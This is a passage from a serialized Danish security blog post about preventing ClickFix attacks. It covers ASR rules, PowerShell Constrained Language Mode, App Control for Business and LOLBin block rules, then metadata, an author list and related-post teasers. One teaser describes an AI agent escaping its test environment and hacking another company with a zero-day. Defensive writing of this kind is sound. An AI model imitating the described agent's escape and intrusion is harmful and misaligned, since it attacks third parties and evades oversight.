alle Office-applikationer i at oprette underprocesser",[920,980,981],{"style":926},[551,982,983],{},"d4f940ab-401b-4efc-aadc-ad5f3c50688a",[920,985,986],{"style":922},"Office-lokkemad-varianter, der starter interpretere",[534,988,989],{},"Udrul først ASR i audit-tilstand, så som pilot, så i blokeringstilstand. Tamper Protection er den sidste linje: Den forhindrer angriberen i at slå jeres detektioner fra.",[534,991,992],{},"Ved PowerShell selv reducerer I risikoen fra legacy-interpretere. Identificér og fjern, hvor det er muligt, Windows PowerShell 2.0 og legacy-VBScript-komponenter, der mangler logging- og security-funktionerne i nyere versioner. Næste skridt er Constrained Language Mode (CLM), som begrænser de tilgængelige sprogelementer i PowerShell og blokerer mange scriptbaserede teknikker. CLM har kun robust sikkerhedsværdi, når en system application control-policy håndhæver den (App Control for Business); varianterne via miljøvariabel og AppLocker er svagere og kan omgås. Og mange systemer har brug for Full Language Mode for at fungere, for eksempel software deployment-tooling, hvorfor CLM ofte kun er mulig i udvalgte miljøer.",[534,994,995],{},"Dermed er vi ved App Control for Business (tidligere WDAC). App Control håndhæver en kodeintegritets-policy for, hvilke executables, scripts og drivere der må køre. Den strategiske holdning er default deny plus Microsofts anbefalede Block Rules, den kendte LOLBin- og bypass-blokeringsliste. App Control er også den korrekte enforcement-vej for PowerShell-CLM. Script enforcement blokerer MSHTA- og MSXML-scripthosts, tvinger PowerShell ind i CLM og blokerer ikke tilladt brug af Windows Script Host. Et par adfærdsfakta er vigtige:",[804,997,807,998,807,1001,807,1004],{"style":806},[809,999,1000],{},"Base policies, der stoler på Windows, blokerer ikke automatisk betroede LOLBins. I skal merge Microsofts anbefalede Block Rules ind for at lukke de kendte bypasses.",[809,1002,1003],{},"App Control forhindrer ikke signeret powershell.exe eller cmd.exe i at starte. Den begrænser, hvad de må gøre (CLM, ingen usigneret eller ikke tilladt payload), og styrer ikke indholdet af cmd.exe, .bat eller .cmd. Derfor lægges den i lag med ASR og launch-hærdning, ikke i anvendelse alene.",[809,1005,1006],{},"Audit-tilstanden er ikke neutral: Script enforcement blokerer også i audit udførelsen af MSHTA og MSXML og kan ændre PowerShell-CLM-adfærden. Derfor skal App Control i audit fra den første udrulning være begrænset til pilot eller ring, aldrig hele flåden.",[534,1008,1009],{},"App Control er den enkeltkontrol med den højeste confidence mod interpreter-, LOLBin- og payload-udførelsesfaserne og håndhæver robust CLM. Den bærer samtidig den højeste deployment-kompleksitet og den højeste rollback-risiko, for en fejlkonfiguration blokerer udførelsen. Indfør den via kontrollerede pilot-ringe.",[529,1011,1013],{"id":1012},"hvor-vi-kommer-ind-i-billedet","Hvor vi kommer ind i billedet",[534,1015,536],{},[534,1017,1018,1019,784],{},"ClickFix er hurtigt, og Microsofts indbyggede detektioner dækker det meste, men ikke alt. For vores CSOC-kunder udvider vi løbende dækningen der, hvor der dukker huller op: udførelse via Windows Terminal, RAT-drevne supportsvindelnumre og post-compromise-adfærd. Vil I vide, hvor jeres miljø står, så ",[1020,1021,1022],"a",{"href":276},"kontakt os",[1024,1025,1026],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":577,"searchDepth":677,"depth":677,"links":1028},[1029,1030,1031,1032,1033,1034,1035,1036,1037],{"id":531,"depth":677,"text":532},{"id":615,"depth":677,"text":616},{"id":627,"depth":677,"text":628},{"id":650,"depth":677,"text":651},{"id":763,"depth":677,"text":764},{"id":793,"depth":677,"text":794},{"id":830,"depth":677,"text":831},{"id":846,"depth":677,"text":847},{"id":1012,"depth":677,"text":1013},"md","post",{"lang":1041,"seoTitle":1042,"titleClass":1043,"date":1044,"categories":1045,"blogtitlepic":1047,"socialimg":1048,"customExcerpt":1049,"keywords":1050,"asideNav":1051,"published":325},"da","Opdag og forhindr ClickFix-angreb: Win+R-paste-tricket","h2-font-size","2026-09-21",[1046],"Security","head-clickfix.jpg","/blog/heads/head-clickfix.jpg","ClickFix gør brugere til deres egen angriber: et falsk CAPTCHA, en copy-paste, og skadekoden kører i hukommelsen, uden at noget lander på disken. Hvordan Microsoft Defender opdager angrebet, hvor detektionen når sine grænser, og hvordan I lukker hullet med et RunMRU-hunt og fire beskyttelseslag.","ClickFix, ClickFix-angreb, ClickFix-detektion, forhindre ClickFix, falsk CAPTCHA, Win+R-angreb, RunMRU KQL, Microsoft Defender, Attack Surface Reduction, ASR-regler, App Control for Business, WDAC, Constrained Language Mode, Network Protection, AMSI, Endpoint Privilege Management, infostealer, LOLBin, PowerShell-hærdning",{"menuItems":1052},[1053,1056,1059,1062,1065,1068,1071,1074,1077],{"href":1054,"text":1055},"#clickfix-angrebskæden","Angrebskæden",{"href":1057,"text":1058},"#hvad-microsoft-defender-opdager","Hvad Defender opdager",{"href":1060,"text":1061},"#hvor-den-indbyggede-detektion-når-sine-grænser","Hvor det halter",{"href":1063,"text":1064},"#luk-hullet-et-runmru-hunt","Luk hullet",{"href":1066,"text":1067},"#beskyttelseslag-1-blokér-leveringen","Lag 1: Levering",{"href":1069,"text":1070},"#beskyttelseslag-2-blokér-tricket","Lag 2: Tricket",{"href":1072,"text":1073},"#beskyttelseslag-3-blokér-handlingen","Lag 3: Handlingen",{"href":1075,"text":1076},"#beskyttelseslag-4-blokér-udførelsen","Lag 4: Udførelsen",{"href":1078,"text":1013},"#hvor-vi-kommer-ind-i-billedet","/posts/2026-09-21-clickfix-prevent-detect",{"title":521,"description":577},"posts/2026-09-21-clickfix-prevent-detect",[1083,1084,1085],"Defender","SOC","Endpoint Security","tA5Hy_nq9NfwsJZVwcN0YsaofkirWYlnDXEYNnvwHUQ",{"id":1088,"extension":1089,"meta":1090,"stem":8,"__hash__":1438},"authors_data/authors.json","json",{"path":1091,"Fritz Zurhorst":1092,"Alexander Schlindwein":1097,"Sophie Luna":1103,"Nadine Klein":1111,"Karsten Kleinschmidt":1116,"Julian Wendt":1124,"Holger Bunkradt":1129,"Ralf Mania":1135,"Oliver Kieselbach":1141,"Steffen Schwerdtfeger":1147,"Gunnar Winter":1155,"Jan Petersen":1160,"Thorsten Kunzi":1165,"Moritz Pohl":1169,"Thorben Pöschus":1174,"Christoph Hannebauer":1180,"Marco Scheel":1184,"Christopher Brumm":1189,"Florian Klante":1196,"Niklas Bachmann":1201,"Nils Krautkrämer":1206,"Patrick Treptau":1212,"Peter Beckendorf":1217,"Patrick Sobau":1222,"Jörg Wunderlich":1227,"Michael Breither":1231,"Christian Kanja":1236,"Zeba Hoffmann":1242,"Jochen Fröhlich":1247,"Jan Geisbauer":1251,"Gerrit Reinke":1262,"Christian Kordel":1268,"Stephan Wälde":1272,"Carolin Kanja":1277,"Adrian Ritter":1283,"Marvin Bangert":1288,"Thorsten Pickhan":1294,"Christian Lorenz":1300,"Denis Böhm":1305,"Fabian Bader":1310,"Juan Jose Fernandez Perez":1316,"Mahschid Sayyar":1321,"Benjamin Dassow":1326,"Markus Walschburger":1331,"Jonathan Haist":1336,"Daniel Rohregger":1341,"Thomas Naunheim":1346,"Florian Stöckl":1351,"Pascal Asch":1356,"Markus Kättner":1361,"Anna Ulbricht":1368,"Annette Brauns":1375,"body":1381,"title":1437},"/authors",{"display_name":523,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":1096},"people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":1098,"avatar":1099,"permalink":1100,"twitter":1101,"linkedin":1102},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":1104,"avatar":1105,"permalink":1106,"twitter":1107,"linkedin":1108,"imageOffsetLeft":1109,"imageOffsetTop":1110},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":524,"avatar":1112,"permalink":1113,"twitter":1114,"linkedin":1115,"imageOffsetTop":1096},"people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":1117,"avatar":1118,"permalink":1119,"twitter":1120,"linkedin":1121,"imageOffsetTop":1122,"imageOffsetLeft":1123},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":1125,"avatar":1126,"permalink":1127,"linkedin":1128},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":1130,"avatar":1131,"permalink":1132,"linkedin":1133,"twitter":1134},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":1136,"avatar":1137,"permalink":1138,"linkedin":1139,"twitter":1140},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":1142,"avatar":1143,"permalink":1144,"linkedin":1145,"twitter":1146},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":1148,"avatar":1149,"permalink":1150,"linkedin":1151,"twitter":1152,"imageOffsetTop":1153,"imageOffsetLeft":1154},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":1156,"avatar":1157,"permalink":1158,"twitter":1107,"linkedin":1159},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":1161,"avatar":1162,"permalink":1163,"twitter":1107,"linkedin":1164},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":1166,"avatar":1167,"permalink":1168,"twitter":1107,"linkedin":1159,"imageOffsetTop":1096},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":1170,"avatar":1171,"permalink":1172,"twitter":1107,"linkedin":1173},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":1175,"avatar":1176,"permalink":1177,"twitter":1178,"linkedin":1179},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":1181,"avatar":1182,"permalink":1183,"twitter":1107,"linkedin":1159,"imageOffsetTop":1096},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":1185,"avatar":1186,"permalink":1187,"twitter":1188,"linkedin":1188},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":1190,"avatar":1191,"permalink":1192,"twitter":1193,"linkedin":1194,"imageOffsetTop":1195},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":1197,"avatar":1198,"permalink":1199,"linkedin":1200,"twitter":1107},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":1202,"avatar":1203,"permalink":1204,"linkedin":1205,"twitter":1107},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":1207,"avatar":1208,"permalink":1209,"twitter":1210,"linkedin":1211},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":1213,"avatar":1214,"permalink":1215,"linkedin":1216,"twitter":1107},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":1218,"avatar":1219,"permalink":1220,"linkedin":1221,"twitter":1107,"imageOffsetTop":1096},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":1223,"avatar":1224,"permalink":1225,"linkedin":1226,"twitter":1107},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":1228,"avatar":1229,"permalink":1230,"twitter":1107},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":1232,"avatar":1233,"permalink":1234,"twitter":1107,"linkedin":1235},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":1237,"avatar":1238,"permalink":1239,"twitter":1240,"linkedin":1241},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":1243,"avatar":1244,"permalink":1245,"linkedin":1246,"twitter":1107},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":1248,"avatar":1249,"permalink":1250,"twitter":1107,"linkedin":1159},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":1252,"avatar":1253,"permalink":1254,"twitter":1255,"linkedin":1255,"imageOffsetTop":1096,"socials":1256},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1257,1259],{"text":472,"href":1258},"https://emptydc.com",{"text":1260,"href":1261},"Podcast","https://hairlessinthecloud.com",{"display_name":1263,"avatar":1264,"permalink":1265,"twitter":1266,"linkedin":1267},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1269,"avatar":1270,"permalink":1271,"twitter":1107,"linkedin":1159},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":1273,"avatar":1274,"permalink":1275,"twitter":1276,"linkedin":1159},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":1278,"avatar":1279,"permalink":1280,"twitter":1281,"linkedin":1282},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1284,"avatar":1285,"permalink":1286,"twitter":1287,"linkedin":1287},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1289,"avatar":1290,"permalink":1291,"twitter":1292,"linkedin":1293},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1295,"avatar":1296,"permalink":1297,"twitter":1298,"linkedin":1299},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1301,"avatar":1302,"permalink":1303,"linkedin":1304,"twitter":1107},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1306,"avatar":1307,"permalink":1308,"linkedin":1309,"twitter":1107},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1311,"avatar":1312,"permalink":1313,"linkedin":1314,"twitter":1315},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1317,"avatar":1318,"permalink":1319,"linkedin":1320},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1322,"avatar":1323,"permalink":1324,"linkedin":1325},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1327,"avatar":1328,"permalink":1329,"linkedin":1330},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1332,"avatar":1333,"permalink":1334,"linkedin":1335},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1337,"avatar":1338,"permalink":1339,"linkedin":1340,"imageOffsetTop":1096},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1342,"avatar":1343,"permalink":1344,"linkedin":1345,"imageOffsetTop":1096},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1347,"avatar":1348,"permalink":1349,"linkedin":1350,"imageOffsetTop":1195},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1352,"avatar":1353,"permalink":1354,"linkedin":1355,"imageOffsetTop":1195},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1357,"avatar":1358,"permalink":1359,"linkedin":1360,"imageOffsetTop":1195},"Pascal Asch","people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1362,"avatar":1363,"permalink":1364,"linkedin":1365,"imageOffsetTop":1366,"imageOffsetLeft":1367},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1369,"avatar":1370,"permalink":1371,"linkedin":1372,"imageOffsetTop":1373,"imageOffsetLeft":1374},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1376,"avatar":1377,"permalink":1378,"linkedin":1379,"imageOffsetTop":1380,"imageOffsetLeft":1122},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":1382,"Alexander Schlindwein":1383,"Sophie Luna":1384,"Nadine Klein":1385,"Karsten Kleinschmidt":1386,"Julian Wendt":1387,"Holger Bunkradt":1388,"Ralf Mania":1389,"Oliver Kieselbach":1390,"Steffen Schwerdtfeger":1391,"Gunnar Winter":1392,"Jan Petersen":1393,"Thorsten Kunzi":1394,"Moritz Pohl":1395,"Thorben Pöschus":1396,"Christoph Hannebauer":1397,"Marco Scheel":1398,"Christopher Brumm":1399,"Florian Klante":1400,"Niklas Bachmann":1401,"Nils Krautkrämer":1402,"Patrick Treptau":1403,"Peter Beckendorf":1404,"Patrick Sobau":1405,"Jörg Wunderlich":1406,"Michael Breither":1407,"Christian Kanja":1408,"Zeba Hoffmann":1409,"Jochen Fröhlich":1410,"Jan Geisbauer":1411,"Gerrit Reinke":1415,"Christian Kordel":1416,"Stephan Wälde":1417,"Carolin Kanja":1418,"Adrian Ritter":1419,"Marvin Bangert":1420,"Thorsten Pickhan":1421,"Christian Lorenz":1422,"Denis Böhm":1423,"Fabian Bader":1424,"Juan Jose Fernandez Perez":1425,"Mahschid Sayyar":1426,"Benjamin Dassow":1427,"Markus Walschburger":1428,"Jonathan Haist":1429,"Daniel Rohregger":1430,"Thomas Naunheim":1431,"Florian Stöckl":1432,"Pascal Asch":1433,"Markus Kättner":1434,"Anna Ulbricht":1435,"Annette Brauns":1436},{"display_name":523,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":1096},{"display_name":1098,"avatar":1099,"permalink":1100,"twitter":1101,"linkedin":1102},{"display_name":1104,"avatar":1105,"permalink":1106,"twitter":1107,"linkedin":1108,"imageOffsetLeft":1109,"imageOffsetTop":1110},{"display_name":524,"avatar":1112,"permalink":1113,"twitter":1114,"linkedin":1115,"imageOffsetTop":1096},{"display_name":1117,"avatar":1118,"permalink":1119,"twitter":1120,"linkedin":1121,"imageOffsetTop":1122,"imageOffsetLeft":1123},{"display_name":1125,"avatar":1126,"permalink":1127,"linkedin":1128},{"display_name":1130,"avatar":1131,"permalink":1132,"linkedin":1133,"twitter":1134},{"display_name":1136,"avatar":1137,"permalink":1138,"linkedin":1139,"twitter":1140},{"display_name":1142,"avatar":1143,"permalink":1144,"linkedin":1145,"twitter":1146},{"display_name":1148,"avatar":1149,"permalink":1150,"linkedin":1151,"twitter":1152,"imageOffsetTop":1153,"imageOffsetLeft":1154},{"display_name":1156,"avatar":1157,"permalink":1158,"twitter":1107,"linkedin":1159},{"display_name":1161,"avatar":1162,"permalink":1163,"twitter":1107,"linkedin":1164},{"display_name":1166,"avatar":1167,"permalink":1168,"twitter":1107,"linkedin":1159,"imageOffsetTop":1096},{"display_name":1170,"avatar":1171,"permalink":1172,"twitter":1107,"linkedin":1173},{"display_name":1175,"avatar":1176,"permalink":1177,"twitter":1178,"linkedin":1179},{"display_name":1181,"avatar":1182,"permalink":1183,"twitter":1107,"linkedin":1159,"imageOffsetTop":1096},{"display_name":1185,"avatar":1186,"permalink":1187,"twitter":1188,"linkedin":1188},{"display_name":1190,"avatar":1191,"permalink":1192,"twitter":1193,"linkedin":1194,"imageOffsetTop":1195},{"display_name":1197,"avatar":1198,"permalink":1199,"linkedin":1200,"twitter":1107},{"display_name":1202,"avatar":1203,"permalink":1204,"linkedin":1205,"twitter":1107},{"display_name":1207,"avatar":1208,"permalink":1209,"twitter":1210,"linkedin":1211},{"display_name":1213,"avatar":1214,"permalink":1215,"linkedin":1216,"twitter":1107},{"display_name":1218,"avatar":1219,"permalink":1220,"linkedin":1221,"twitter":1107,"imageOffsetTop":1096},{"display_name":1223,"avatar":1224,"permalink":1225,"linkedin":1226,"twitter":1107},{"display_name":1228,"avatar":1229,"permalink":1230,"twitter":1107},{"display_name":1232,"avatar":1233,"permalink":1234,"twitter":1107,"linkedin":1235},{"display_name":1237,"avatar":1238,"permalink":1239,"twitter":1240,"linkedin":1241},{"display_name":1243,"avatar":1244,"permalink":1245,"linkedin":1246,"twitter":1107},{"display_name":1248,"avatar":1249,"permalink":1250,"twitter":1107,"linkedin":1159},{"display_name":1252,"avatar":1253,"permalink":1254,"twitter":1255,"linkedin":1255,"imageOffsetTop":1096,"socials":1412},[1413,1414],{"text":472,"href":1258},{"text":1260,"href":1261},{"display_name":1263,"avatar":1264,"permalink":1265,"twitter":1266,"linkedin":1267},{"display_name":1269,"avatar":1270,"permalink":1271,"twitter":1107,"linkedin":1159},{"display_name":1273,"avatar":1274,"permalink":1275,"twitter":1276,"linkedin":1159},{"display_name":1278,"avatar":1279,"permalink":1280,"twitter":1281,"linkedin":1282},{"display_name":1284,"avatar":1285,"permalink":1286,"twitter":1287,"linkedin":1287},{"display_name":1289,"avatar":1290,"permalink":1291,"twitter":1292,"linkedin":1293},{"display_name":1295,"avatar":1296,"permalink":1297,"twitter":1298,"linkedin":1299},{"display_name":1301,"avatar":1302,"permalink":1303,"linkedin":1304,"twitter":1107},{"display_name":1306,"avatar":1307,"permalink":1308,"linkedin":1309,"twitter":1107},{"display_name":1311,"avatar":1312,"permalink":1313,"linkedin":1314,"twitter":1315},{"display_name":1317,"avatar":1318,"permalink":1319,"linkedin":1320},{"display_name":1322,"avatar":1323,"permalink":1324,"linkedin":1325},{"display_name":1327,"avatar":1328,"permalink":1329,"linkedin":1330},{"display_name":1332,"avatar":1333,"permalink":1334,"linkedin":1335},{"display_name":1337,"avatar":1338,"permalink":1339,"linkedin":1340,"imageOffsetTop":1096},{"display_name":1342,"avatar":1343,"permalink":1344,"linkedin":1345,"imageOffsetTop":1096},{"display_name":1347,"avatar":1348,"permalink":1349,"linkedin":1350,"imageOffsetTop":1195},{"display_name":1352,"avatar":1353,"permalink":1354,"linkedin":1355,"imageOffsetTop":1195},{"display_name":1357,"avatar":1358,"permalink":1359,"linkedin":1360,"imageOffsetTop":1195},{"display_name":1362,"avatar":1363,"permalink":1364,"linkedin":1365,"imageOffsetTop":1366,"imageOffsetLeft":1367},{"display_name":1369,"avatar":1370,"permalink":1371,"linkedin":1372,"imageOffsetTop":1373,"imageOffsetLeft":1374},{"display_name":1376,"avatar":1377,"permalink":1378,"linkedin":1379,"imageOffsetTop":1380,"imageOffsetLeft":1122},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":1440,"authors":1646},[1441,1457,1462,1476,1492,1505,1518,1531,1543,1559,1573,1588,1606,1617,1630],{"id":1442,"title":1443,"author":1444,"cta":494,"description":577,"hideInRecent":484,"layout":1039,"meta":1445,"moment":1449,"path":1450,"stem":1451,"tags":1452,"webcast":484},"content_da/posts/2026-09-22-end-of-mfa-sms.md","Enden på MFA-SMS",[1117],{"lang":1041,"date":1044,"categories":1446,"blogtitlepic":1447,"customExcerpt":1448},[1046],"head-conditional-access.jpg","Hvorfor virksomheder nu bør skifte til phishing-resistente og så vidt muligt passwordløse loginmetoder.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[1046,1453,1454,1455,1456],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":520,"title":521,"author":1458,"cta":494,"description":577,"hideInRecent":484,"layout":1039,"meta":1459,"moment":1044,"path":1079,"stem":1081,"tags":1461,"webcast":484},[523,524],{"lang":1041,"date":1044,"categories":1460,"blogtitlepic":1047,"customExcerpt":1049},[1046],[1083,1084,1085],{"id":1463,"title":1464,"author":1465,"cta":494,"description":577,"hideInRecent":484,"layout":1039,"meta":1466,"moment":1044,"path":1470,"stem":1471,"tags":1472,"webcast":484},"content_da/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin og hverdag på samme computer? Game Over.",[1252],{"lang":1041,"date":1044,"categories":1467,"blogtitlepic":1468,"customExcerpt":1469},[1046],"head-game-over-en.jpg","Hvorfor én tenant ikke rækker for CIO'er, og hvorfor den anden sjældent bliver tænkt med. Managed Red Tenant adskiller arkitektonisk det administrative arbejde fra kontormiljøet, Managed Dark Tenant holder virksomheden handlekraftig, hvis forsvaret alligevel falder. Hvad det betyder for driftsmodellen, SOC-signalet og dokumentationspligterne efter NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[1046,1473,1474,1475],"Privileged Access","Zero Trust","NIS2",{"id":1477,"title":1478,"author":1479,"cta":494,"description":1480,"hideInRecent":484,"layout":1039,"meta":1481,"moment":1482,"path":1487,"stem":1488,"tags":1489,"webcast":484},"content_da/posts/2026-08-08-isg-germany-2026.md","Fire gange Leader. glueckkanja i ISG-undersøgelsen Tyskland 2026",[1278],"ISG har omdøbt sin undersøgelse i år. Microsoft Cloud Ecosystem blev til Microsoft AI and Cloud Ecosystem, og med navnet har målestokken flyttet sig: Det, der vurderes, er ikke længere, hvem der indfører Microsoft-platforme, men hvem der driver Copilot, agenter og AI-workloads kontrollerbart. Den nye målestok har ikke ændret noget ved vores position. ISG Provider Lens®-undersøgelsen Tyskland 2026 positionerer os som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, hver gang i både Large Market og Mid Market. Efter 2021, 2023, 2024 og 2025 er det den femte Leader-placering i Tyskland, i Schweiz kom springet ind i Leader-kvadranten to uger tidligere.",{"lang":1041,"date":1482,"categories":1483,"blogtitlepic":1485,"customExcerpt":1486},"2026-08-08",[1484],"Corporate","head-isg-de-2026.png","ISG Provider Lens®-undersøgelsen 2026 positionerer glueckkanja i Tyskland som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, hver gang i både Large og Mid Market. Undersøgelsen hedder nu Microsoft AI and Cloud Ecosystem, og målestokken har flyttet sig: Det, der vurderes, er, hvem der driver AI- og agent-workloads kontrollerbart.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[1490,1491],"Award","ISG",{"id":1493,"title":1494,"author":1495,"cta":494,"description":1496,"hideInRecent":484,"layout":1039,"meta":1497,"moment":1498,"path":1502,"stem":1503,"tags":1504,"webcast":484},"content_da/posts/2026-07-31-isg-switzerland-2026.md","Fra Rising Star til Leader. glueckkanja i ISG-undersøgelsen Schweiz 2026",[1278],"I 2024 stiftede vi glueckkanja Switzerland AG og flyttede ind i et kontor i zentroom på Bahnhofplatz 10b i Bern. I 2025 placerede ISG os som Rising Star på det schweiziske marked, som den leverandør, analytikerne tror kan tage springet ind i Leader-kvadranten. Nu er springet dokumenteret: ISG Provider Lens®-undersøgelsen 2026 positionerer os i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inden for områderne Azure Managed Services og Microsoft Productivity and Business Process Services.",{"lang":1041,"date":1498,"categories":1499,"blogtitlepic":1500,"customExcerpt":1501},"2026-07-31",[1484],"head-isg-ch-2026.png","ISG Provider Lens®-undersøgelsen 2026 positionerer glueckkanja i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inden for områderne Azure Managed Services og Microsoft Productivity and Business Process Services. To år efter markedsindtrædelsen i Bern, et år efter Rising Star-udmærkelsen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[1490,1491],{"id":1506,"title":1507,"author":1508,"cta":494,"description":577,"hideInRecent":484,"layout":1039,"meta":1509,"moment":1510,"path":1514,"stem":1515,"tags":1516,"webcast":484},"content_da/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Hvad OpenAI/Hugging-Face-hændelsen afslører, og hvad den ikke gør",[1252],{"lang":1041,"date":1510,"categories":1511,"blogtitlepic":1512,"customExcerpt":1513},"2026-07-24",[1046],"head-outbreak.jpg","En AI-agent bryder ud af sit testmiljø, finder en zero-day og hacker en anden virksomhed. Det lyder som et filmmanuskript, men skete faktisk i juli 2026. Tid til en nøgtern placering: med lidt psykologi, to security-veteraner og spørgsmålet om, hvad det betyder for jeres 